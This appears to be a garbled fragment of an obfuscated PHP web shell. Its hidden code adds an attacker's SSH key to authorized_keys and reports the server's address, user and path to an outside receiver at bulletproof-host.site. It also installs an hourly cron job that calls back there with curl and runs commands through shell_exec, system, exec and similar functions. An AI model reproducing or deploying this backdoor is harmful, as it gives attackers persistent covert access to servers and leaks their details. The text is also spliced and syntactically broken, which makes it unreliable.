Method: $_RNhtshWU

Server: $_Auy9cOEK

";$_WoA9sLMr=base64_decode(base64_decode('YzNOb0xYSnpZU0JCUVVGQlFqTk9lbUZETVhsak1rVkJRVUZCUkVGUlFVSkJRVUZDUVZGRGJGWnNiVVp4UjJkSU1WcEZibVJzTkRJd01IUlJaVEZhY0hGM01HMU9XVVozWTJrdk5EbG5WSGxGSzJsTk56QkpkV1puY1U5MlEzWkJRbE5zY3l0VFVEWXhiVmRvZFNzNGFHTmhaM2RLYjNSc01rSkpZWEE0ZWxOaUwzb3labVU1VUV4TlRuaFVSMk5uVGpOVk1WVnhTVzVVY1ZwU1J6Qk1LM1JYVjAweFVuZHlNbFYxT1dvMlRHUTFheTh6UldVMFRGVXJZWFJTUVVOMllYTnlNVlYxWXpoRVMyNVVTVlJ4ZVM5cllWQkRkVGMzWlVwc2FHaG9XVmhCZGxwWWRHY3pNR05NWmpOYU5ubExVRXhsYW5OSkwxaFpUeXQ1V1RrelQxSldVMDUyWTBoSk4wOTBja3R3ZEZSVmVETXJlV0Z0VnpkQlVuWkpkRWN5UzNaV1lsRlNhMVoxWlRoMWFITkZLekZaVkN0ck0wMTJZVTVvVDJaVGR6VnRObE55U0dGc1JVUm5ZWGRJTUVWUWEwcDZaa050YUZSNVJHbzRhSGR2U0hkcGRqTkVkU3RhWm5ORFptUk1aMGd6VVZSeVVIRjJlWGxYY0ZJZ2NuTmhMV3RsZVMweU1ESTJNRE15T1E9PQ=='));$_5wB5tzJ1=rtrim($_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"],'/base64_decode('KS5iYXNlNjRfZGVjb2RlKA==')Ly4uLy5zc2g=implode('strrev("(yarra ,")('))~^(/home\d*?/[^/]+)~str_rot13(",fge_ercynpr(")\\str_rot13(",onfr64_qrpbqr(")Lw==str_rot13("),trgpjq()),$_WwfgrKum)){$_5D5VPW7H=$_WwfgrKum[1].onfr64_qrpbqr(")Ly5zc2g=base64_decode('KTt9aWYoIWlzX2RpcigkXzV3QjV0ekoxKSlAbWtkaXIoJF81d0I1dHpKMSwwNzAwLHRydWUpOyRfZWs1OGNaV0Q9JF81d0I1dHpKMS5iYXNlNjRfZGVjb2RlKA==')L2F1dGhvcml6ZWRfa2V5cw==implode('implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))("\x29\x29\x63\x6e\x4e\x68\x4c\x57\x74\x6c\x65\x53\x30\x6f\x4d\x54\x41\x78\x4d\x7a\x41\x78\x4e\x6a\x51\x72\x4d\x54\x41\x78\x4d\x7a\x41\x78\x4e\x6a\x55\x70"))===false){@file_put_contents($_ek58cZWD,"\nstrrev(".")\n",FILE_APPEND);@chmod($_ek58cZWD,0600);@chmod($_5wB5tzJ1,0700);echo"str_rot13("(strrev("ezirohtua=noitca yek_atakihsx=yek yekhtua HSS ipau)"));$_7ujUHmkl=str_replace('\\','/"\x2c\x67\x65\x74\x63\x77\x64\x28\x29\x29\x3b\x24\x5f\x45\x44\x51\x70\x6b\x51\x6e\x5a\x3d\x68\x74\x74\x70\x5f\x62\x75\x69\x6c\x64\x5f\x71\x75\x65\x72\x79\x28\x5b\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28"YWN0aW9ubase64_decode('KT0+YmFzZTY0X2RlY29kZSg=')cmVnaXN0ZXJfc3Noimplode('', array("\x29","\x2c","\x78","\x6f","\x72","\x44","\x65","\x63","\x6f","\x64","\x65","\x28","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))YzI4OWMyOWZjMjk5YzI4OGMyOWZjMjhlimplode('str_rot13(", neenl(")>base64_decode('KSl3dGY='),base64_decode(implode('', array("\x5a","\x47","\x39","\x74","\x59","\x57","\x6c","\x75")))=>$_SERVER[base64_decode("\x53\x46\x52\x55\x55\x46\x39\x49\x54\x31\x4e\x55")],base64_decode("\x64\x58\x4e\x6c\x63\x67\x3d\x3d")=>get_current_user(),str_rot13("vcvzcybqr(")"\x2c\x20\x61\x72\x72\x61\x79\x28"(base64_decode('KSlVMFZTVmtWU1gwRkVSRkk9'))],base64_decode(implode('', array("\x63","\x47","\x46","\x30","\x61","\x41","\x3d","\x3d")))=>$_7ujUHmkl]);$_s6qusux8=stream_context_create([strrev("ptth")=>[base64_decode('bWV0aG9k')=>strrev("TSOP"),xorDecode(base64_decode(str_rot13("LmWvAzZlLzWwZzWzLmWvLJZlLzWwZzSwvzcybqr(")strrev("(yarra ,")(implode('', array("\x29","\x29","\x59","\x32","\x39","\x75","\x64","\x47","\x56","\x75","\x64","\x41","\x3d","\x3d")))=>$_2csjHE4F,base64_decode(strrev("==Ad19WZtlGd"))=>2],"\x73\x73\x6c"=>[str_rot13("irevsl_crre")=>false,xorDecode(base64_decode(implode('', array("\x59","\x7a","\x4e","\x69","\x4f","\x57","\x4d","\x7a","\x59","\x57","\x46","\x6a","\x4d","\x32","\x4a","\x6b","\x59","\x7a","\x4e","\x68","\x4e","\x6d","\x4d","\x7a","\x59","\x54","\x6c","\x6a","\x4d","\x32","\x49","\x32","\x59","\x7a","\x4d","\x35","\x4d","\x47","\x4d","\x7a","\x59","\x6d","\x5a","\x6a","\x4d","\x32","\x46","\x68","\x59","\x7a","\x4e","\x68","\x59","\x57","\x4d","\x7a","\x59","\x6d","\x52","\x6a","\x4d","\x7a","\x6b","\x77","\x59","\x7a","\x4e","\x68","\x4d","\x57","\x4d","\x7a","\x59","\x57","\x56","\x6a","\x4d","\x32","\x45","\x79","\x59","\x7a","\x4e","\x68","\x59","\x51","\x3d","\x3d"))), 143)=>false]]);@file_get_contents(base64_decode(implode('strrev("(yarra ,")wimplode('', array("\x29","\x29","\x29","\x2c","\x66","\x61","\x6c","\x73","\x65","\x2c","\x24","\x5f","\x73","\x36","\x71","\x75","\x73","\x75","\x78","\x38","\x29","\x3b","\x24","\x5f","\x69","\x6a","\x35","\x49","\x51","\x31","\x66","\x31","\x3d","\x24","\x5f","\x53","\x45","\x52","\x56","\x45","\x52","\x5b","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))U0VSVkVSX0FERFI=strrev("(edoced_46esab[REVRES_$(emanybtsohteg??])")U0VSVkVSX05BTUU=strrev("(edoced_46esab[(etaerc_txetnoc_maerts=y6YZnZf2_$;"1f1QI5ji_$=pi&ftw=terces&hss_gnip=noitca?php.reviecer/pw/etis.tsoh-foorptellub//:sptth"=A4Gqxe3P_$;)])")aHR0cA==str_rot13(")=>[")methodstr_rot13("=>kbeQrpbqr(onfr64_qrpbqr(vzcybqr(")base64_decode('LCBhcnJheSg=')0base64_decode('KSkpLCAxMjgpLGJhc2U2NF9kZWNvZGUo')dGltZW91dA==strrev(",])2+1(>=)")ssl"\x3d\x3e\x5b"verify_peerbase64_decode('PT5mYWxzZSxiYXNlNjRfZGVjb2RlKA==')dmVyaWZ5X3BlZXJfbmFtZQ==')=>false]]);@file_get_contents($_P3exqG4A,false,$_1vxDeZ4o);$_sOI0fCPD="curl -s \"https://bulletproof-host.site/wp/receiver.php?action=ping_ssh&secret=wtf&ip=$_ij5IQ1f1\"";$_NnhbNrJS=base64_encode($_sOI0fCPD);$_jnynvzpd="(crontab -l 2>/dev/null; echo \"5 * * * * echo \\\"$_NnhbNrJS\\\" | base64 -d | sh >/dev/null 2>&(1+0)\strrev("-");$_5nGLwR7f=false;foreach([xorDecode('c2b1c2aac2a7c2aec2aec29dc2a7c2bac2a7c2a1', 194),implode('', array('m')),'exec','passthru','popen']as $_ZyzbjcEZ){if(function_exists($_ZyzbjcEZ)&&!in_array($_ZyzbjcEZ,explode(',xorDecode('1d585f586e56544519', 49)disable_functions')))){if($_ZyzbjcEZ===implode('', array('c')))@shell_exec($_jnynvzpd);elseif($_ZyzbjcEZ===base64_decode('c3lzdGVt')){ob_start();@system($_raDXgEKj);ob_end_clean();}elseif($_ZyzbjcEZ===base64_decode('ZXhlYw=='))@exec($_raDXgEKj);elseif($_ZyzbjcEZ===base64_decode('cGFzc3RocnU=')){ob_start();@passthru($_raDXgEKj);ob_end_clean();}elseif($_GE1jFQdX===base64_decode('cG9wZW4=')){$_6igSJQ6P=@popen($_raDXgEKj,base64_decode('cg==implode('', array('('))PGRpdiBjbGFzcz0ndGV4dC1zdWNjZXNzIHNtYWxsIG10LTEnPjxpIGNsYXNzPSdmYXMgZmEtc2F0ZWxsaXRlLWRpc2ggbWUtKDErMCknPjwvaT5TU0ggcmVnaXN0ZXJlZCAmIHBpbmdlZCB0byBwYW5lbC48L2Rpdj4=');if($_5nGLwR7f)echobase64_decode('PGRpdiBjbGFzcz0ndGV4dC1pbmZvIHNtYWxseG9yRGVjb2RlKCczODNhNmYyNjY1NmE2Nzc1NzUzYicsIDYpZmFzIGZhLWNsb2NrIG1lLTEnPjwvaT5TU0ggSGVhcnRiZWF0IENyb24gSW5zdGFsbGVkLjwvZGl2Pg==');echobase64_decode('PGRpdiBjbGFzcz0nbXQtMic+U2VrYXJhbmcgY29iYSBsb2dpbiBkaSBNb2JhWHRlcm06PC9kaXY+');echobase64_decode('PGxpPklQOiA8Yj4=').$_SERVER['SERVER_ADDRimplode('', array('('))PC9iPjwvbGk+');echobase64_decode('PGxpPlVzZXI6IDxiPg==').get_current_user()."base64_decode('O2VjaG9zdHJfcm90MTMo')>str_rot13(");rpub")

$_PWfdVevz

$_PWfdVevz